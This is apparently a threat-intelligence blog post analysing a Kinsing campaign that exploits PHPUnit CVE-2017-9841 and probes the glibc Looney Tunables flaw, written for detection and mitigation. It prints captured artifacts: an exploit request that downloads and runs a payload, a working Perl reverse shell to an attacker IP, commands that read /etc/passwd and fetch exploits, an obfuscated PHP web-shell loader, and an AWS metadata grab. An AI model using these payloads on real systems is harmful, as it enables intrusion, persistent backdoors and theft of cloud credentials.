Looney Tunables Vulnerability Exploited by Kinsing

aquasec.com/blog/loony-tunables-vulnerability-exploited-by-kinsing/

November 3, 2023

Researchers from Aqua Nautilus have successfully intercepted Kinsing's experimental incursions into cloud environments. Utilizing a rudimentary yet typical PHPUnit vulnerability exploit attack, a component of Kinsing's ongoing campaign, we have uncovered the threat actor's manual efforts to manipulate the Looney Tunables vulnerability (CVE-2023-4911). This marks the first documented instance of such an exploit, to the best of our knowledge. Intriguingly, the attacker is also broadening the horizons of their cloud-native attacks by extracting credentials from the Cloud Service Provider (CSP). In this blog post, we delve deeper into the Kinsing campaign and its operations, highlighting the novelties in this particular attack and emphasizing the critical importance of vigilance and heightened awareness in the face of these evolving threats.

Kinsing Threat Actor: A Brief Overview

The Kinsing threat actor represents a significant threat to cloud-native environments, particularly Kubernetes clusters, docker API, Redis servers, Jenkins servers and others. Their ability to quickly adapt to new vulnerabilities and their persistent efforts to exploit misconfigurations make them a formidable adversary. The threat actor has been actively involved in cryptojacking operations. Aqua Nautilus researchers and other cybersecurity experts have been tracking their activities to understand their tactics, techniques, and procedures (TTPs).

Kinsing has a storied history of targeting containerized environments. They have been known to leverage misconfigured open Docker daemon API ports and exploit newly disclosed vulnerabilities to deploy cryptocurrency mining software. Their operations are characterized by their agility in adapting to new vulnerabilities and their persistent efforts to exploit cloud-native environments.

Recently, Kinsing has been observed exploiting vulnerable Openfire servers. This actually a robust modus operandi of Kinsing, namely to promptly append to its arsenal exploits of newly discovered vulnerabilities. In addition, Microsoft Defender for Cloud has reported a large number of clusters infected due to misconfigurations in PostgreSQL servers and four other vulnerable container images (PHPUnit, Weblogic, Liferay and WordPress).

The threat actor has been found employing rootkits to hide its presence on infected systems, and they actively terminate and uninstall competing resource-intensive services and processes to maximize their mining efficiency. Their recent campaigns have also involved scanning for open default WebLogic ports to execute shell commands and launch malware.

What leads us to attribute this activity to Kinsing? At this time we're 100% certain that this is Kinsing, but not ready to disclose how just yet. In an upcoming report dedicated to Kinsing, we intend to unveil the enigma surrounding this case. This forthcoming publication will provide a comprehensive analysis, demonstrating the methodologies and evidence that enabled us to conclusively link this attack to the Kinsing threat actor.

The Newest Attack Intercepted

The Kinsing threat actor has a history of exploiting the PHPUnit vulnerability (CVE-2017-9841), a tactic that is well-documented. Typically, Kinsing engages in fully automated attacks with the primary objective of mining cryptocurrency. However, in this recent discovery, we observed Kinsing conducting manual tests, a deviation from their usual modus operandi.

These tests were aimed at probing the Looney Tunables vulnerabilities (CVE-2023-4911), providing us with valuable insights into their operations. Below, we delve deeper into this matter, shedding light on Kinsing's sinister intentions to broaden the scope of their automated attacks, specifically targeting cloud-native environments. This strategic shift marks a significant development in their approach, underscoring the need for heightened vigilance and robust security measures.

Attack flow

The initial access was conducted by exploitation of the PHPUnit vulnerability (CVE-2017-9841).

```
POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 11.22.33.44
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101
Firefox/52.0 Cyberfox/52.9.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

(?php copy('http://194.233.65.92/bc.pl', '/tmp/bc.pl'); system('perl /tmp/bc.pl'); ?)
```

Figure 1: Exploitation of the PHPUnit vulnerability as recorded in one of our honeypots

As illustrated in figure 1 above, Kinsing downloads and runs the Perl script `bc.pl`. Which is actually the script in figure 2 below. Which opens a reverse shell on port 1337.

```
use Socket;
$i="194.233.65.92";
$p=1337;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");exec("/bin/sh -i");};
```

Figure 2: The initial payload that creates a reverse shell to Kinsing's C2 server

In Figure 3 presented below, the manually crafted and tested shell commands executed by the Kinsing threat actor are displayed. It is important to note that the process to arrive at these commands involved extensive trial and error, which has been excluded from the screenshot for clarity. Only the pertinent commands have been retained.

```
1. uname -a
2. cat /etc/passwd
3. /bin/bash -i
4. mkdir /tmp/c
5. wget https://haxx.in/files/gnu-acme.py
6. env
7. wget https://raw.githubusercontent.com/temempik1337/0xShell/main/_index.php -O index.php
```

Figure 3: Shell commands manually written by the Kinsing threat actor

Below is a further explanation of the manual commands:

1. Getting the kernel name and hostname by using the `uname -a` command.
2. Getting the user account information by using the `passwd` command.
3. Starts a new interactive shell session. The `-i` flag ensures that the shell is interactive, meaning it can receive and execute commands from the user. This command failed and the threat actor is trying to get root privileges on the system.
4. Creating a directory under `/tmp`.
5. Downloads the script `gnu-acme.py`, which is actually an exploit of the Looney Tunables vulnerability (CVE-2023-4911), further explained below.
6. Trying to list environmental variables.
7. Downloading and running a php script which deploys a JS file.

Looney Tunables is a high-severity vulnerability resides in the GNU C Library (glibc), specifically targeting its dynamic loader, `ld.so`. Identified under the CVE-2023-4911, this vulnerability is a ticking time bomb due to its potential for local privilege escalation, allowing attackers to gain root access to affected systems. The crux of the issue lies in a buffer overflow problem within the handling of the `GLIBC_TUNABLES` environment variable by `ld.so`.

In this particular attack, Kinsing proceeds to retrieve an exploit directly from *@bl4sty* website. On his site, *@bl4sty* elucidates that the exploit is a `Linux local privilege escalation exploit` targeting the `Looney Tunables` vulnerability (CVE-2023-4911) found in GNU libc's ld.so.

He further clarifies that the exploit is grounded in the exploitation methodology detailed in the Qualys writeup, asserting its compatibility with x86(_64) and aarch64 architectures, and highlighting its potential for extension through the addition of new target offsets. The script is accessible for review here.

Subsequently, Kinsing fetches and executes an additional PHP exploit. Initially, the exploit is obfuscated; however, upon de-obfuscation, it reveals itself to be a JavaScript designed for further exploitative activities. Illustrations of both scripts are provided in Figures 4 and 5, respectively, found below.

```
<?php ${"\x47\x4c\x4f\x42\x41L\x53"}
["\x78\x6b\x64\x62\x6eak\x67n\x70"]="\x78";${${"G\x4cO\x42\x41LS"}
["x\x6bdb\x6ea\x6b\x67\x6e\x70"]}=file_get_contents("\x68tt\x70s://g\
x69thu\x62.\x63\x6f\x6d/\x74\x65mem\x70\x69\x6b1\x33\x33\x37/0x\x53he
l\x6c/\x72a\x77/\x6d\x61in/wes\x6fb\x61se.\x6a\x73");$owbqceh="\x78";
eval(base64_decode(${$owbqceh}));
?>
```

Figure 4: Obfuscated PHP script

```
<?php
$GLOBALS["xkdbnakgnp"] = "x";
$x = file_get_contents("https://github.com/temempik1337/0xShell/raw/main/webbase.js");
$owbqceh = "x";
eval(base64_decode($x));
?>
```

Figure 5: De-obfuscated PHP script to download backdoor

The `wesobase.js` script is encoded (base64), after it is decoded, it appears the file is a mix of PHP and JavaScript code, creating a web shell backdoor allowing further unauthorized access to the server. Below are some key features:

1. **Password Protection:** The script includes a password mechanism to restrict access.
2. **File Management:** There are functions for listing files, editing files, and other file-related operations.
3. **Command Execution:** The script allows for the execution of arbitrary commands on the server.
4. **Network Interactions:** There are functionalities for making network requests, binding to ports, and back-connecting to remote servers.
5. **Encryption and Decryption:** There are references to encryption and decryption functions, suggesting that the script may handle sensitive data.
6. **Server Information:** The script collects and displays information about the server it is running on.
7. **User-Agent Handling:** The script checks the user agent of the client making requests to it.

8. **Character Set Conversion:** There is functionality for handling character set conversions.

Ultimately, it becomes apparent that Kinsing is attempting to enumerate the details and credentials associated with the Cloud Service Provider (CSP). As depicted in figure 6 below, in our case Kinsing it trying to obtain the AWS instance identity which can lead to the exposure of credentials associated with the instance metadata service, like the one available at `http://169.254.169.254/latest/latest/dynamic/instance-identity/document`, can be highly risky, especially in cloud environments. The types of credentials and sensitive data that can be exposed include:

1. **Temporary Security Credentials**: These are provided by the AWS Security Token Service (STS) and are used by applications running on the instance to perform actions with AWS services. They are temporary by nature but can provide full access to AWS resources if the associated role has broad permissions.
2. **IAM Role Credentials**: If an EC2 instance is assigned an IAM role, the credentials for this role can be accessed through the metadata service. These credentials are used to grant permissions to the instance and any applications running on it to interact with other AWS services.
3. **Instance Identity Tokens**: These tokens are used to prove the identity of the instance when interacting with AWS services and for signing API requests.

```
POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 13.208.246.55
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Cyberfox/52.9.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

(?php copy('http://169.254.169.254/latest/dynamic/instance-identity/document', '/tmp/aws.txt'); ?)
```

Figure 6: Attempt to collect AWS metadata

From what we know, this is the first time Kinsing has tried to collect this kind of information. Before, they mostly focused on spreading their malware and running a cryptominer, often trying to increase their chances to succeed by eliminating competition or evading detection. This, however, new move shows that Kinsing might be planning to do more varied and intense activities soon, which could mean a bigger risk for systems and services that run on the cloud.

Mapping the Campaign to the MITRE ATT&CK Framework

Our investigation showed that the attackers have been using some common techniques throughout the campaign. However, the defense evasion tactics have evolved:

Initial Access	Execution	Persistence	Privilege Escalation	Defense evasion	Credential Access	Discovery
Exploit Public-Facing Application (T1190)	command and scripting interpreter (T1059)	Server Software Component (T1505)	Exploitation for Privilege Escalation (T1068)	Obfuscated Files or Information (T1027)	OS Credential Dumping (T1003)	System Information Discovery (T1082)
						File and Directory Discovery (T1083)

Summary, Detection, and Mitigation

The Aqua Nautilus research team has intercepted and analyzed a new experimental campaign by the Kinsing threat actor targeting cloud environments. Kinsing, known for its agility in exploiting vulnerabilities and misconfigurations in cloud-native environments, has shifted its tactics in this campaign. The threat actor manually exploited the Looney Tunables vulnerability (CVE-2023-4911) in GNU libc's ld.so, marking the first known instance of such an exploit. Additionally, Kinsing is expanding its operations by attempting to collect credentials from Cloud Service Providers (CSPs), indicating a potential broadening of their operational scope and an increased threat to cloud-native environments.

Vulnerability Patching

Ensure that all systems are up-to-date and patched, particularly focusing on known vulnerabilities like PHPUnit (CVE-2017-9841) and Looney Tunables (CVE-2023-4911).

We at Aqua Security emphasizes the importance of scanning container images to identify and mitigate vulnerabilities that could be exploited by threat actors like Kinsing. By using Aqua's CNAPP platform, organizations can proactively detect known vulnerabilities in their container images. This process is crucial in ensuring that all deployed containers are secure and free from exploitable flaws.

Aqua Security recommends conducting thorough reviews of authorization and authentication policies, adjusting them according to the principle of least privilege. Additionally, it is vital to be familiar with the images in use, ensuring they are configured with minimal privileges, and avoiding the use of root user and privileged mode wherever possible. By implementing these practices, organizations can significantly reduce the attack surface and protect their cloud-native environments from threats like Kinsing.

Monitoring and Detection

Enhance monitoring capabilities to detect unusual activities, such as manual command executions, attempts to access or enumerate CSP credentials, and the execution of known malicious scripts.

While vulnerability scanning is an essential preventative measure, Aqua Security also highlights the importance of runtime protection to defend against sophisticated attacks that may bypass initial security measures.

Cloud-Native Detection and Response (CNDR) solutions play a critical role in this aspect, providing real-time monitoring and detection of malicious activities within the cloud environment. By continuously analyzing the behavior of running containers and applications, CNDR solutions can identify and respond to anomalies that may indicate a compromise, such as the manual command executions and lateral movements commonly associated with Kinsing attacks. Implementing a CNDR solution enhances an organization's ability to detect and mitigate threats in real-time, ensuring a robust security posture even in the face of advanced and persistent threats.

By combining vulnerability scanning with runtime protection through CNDR, organizations can establish a comprehensive security strategy, effectively mitigating the risk of Kinsing attacks and protecting their cloud-native environments.

Indications of Compromise (IOCs)

Type	Value	Notes
IP address		
IP address	194.233.65.92	Kinsing's attacker IP address
Domain		
haxx.in	CVE-2023-4911	Exploit download site
Files		
Python	MD5: ea685e738adedc02ca1a63ebe8ed939eCVE-2023-4911	Exploit
Python	MD5: ea685e738adedc02ca1a63ebe8ed939eCVE-2023-4911	Exploit
PHP	MD5: 9a868bb2456bcde27cde7985145ef6fc	PHP exploit
JS	MD5: 5dce322f5284213912012e7ba2440da0	JS backdoor
Perl	MD5: 5d3c00b79be956d4175d0d5fd1d4f1f9	Reverse shell script

Assaf Morag

Assaf is the Director of Threat Intelligence at Aqua Nautilus, where is responsible of acquiring threat intelligence related to software development life cycle in cloud native environments, supporting the team's data needs, and helping Aqua and the broader industry remain at the forefront of emerging threats and protective methodologies. His research has been featured in leading information security publications and journals worldwide, and he has presented at leading cybersecurity conferences. Notably, Assaf has also contributed to the development of the new MITRE ATT&CK Container Framework.

Assaf recently completed recording a course for O'Reilly, focusing on cyber threat intelligence in cloud-native environments. The course covers both theoretical concepts and practical applications, providing valuable insights into the unique challenges and strategies associated with securing cloud-native infrastructures.